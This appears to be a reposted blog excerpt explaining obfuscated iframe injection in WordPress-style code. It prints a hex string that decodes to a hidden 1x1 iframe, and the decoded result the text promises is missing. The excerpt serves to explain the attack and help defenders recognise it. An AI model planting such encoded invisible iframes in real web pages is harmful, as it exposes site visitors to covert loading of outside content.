Again, it seems to be a legitimate piece of code because the attacker has created it very carefully and used the term “GPL” “wp” and “Java” so the code seems to be legitimate. In actuality, it is the root cause but how can this be confirmed. Everything is good with the code, but the numbers and letters seems to be HEX. In the next step, we need to decrypt it via hex decoder. Remember take only:
3c696672616d65207372633d27687474703a2f2f696e666f736563696e737469747574652e636f6d2f272
077696474683d273127206865696768743d273127207374796c653d277669736962696c6974793a206869

6464656e3b273e3c2f696672616d653e


The result is:


Now, you can imagine why it is difficult to fight against the obfuscated iframe injection attack.

Para visualizar bien los códigos visitar la fuente.

Fuente: 
http://www.ehacking.net/2012/07/iframe-security-vulnerability.html


Powered by Bad Robot
Helped by Blackubay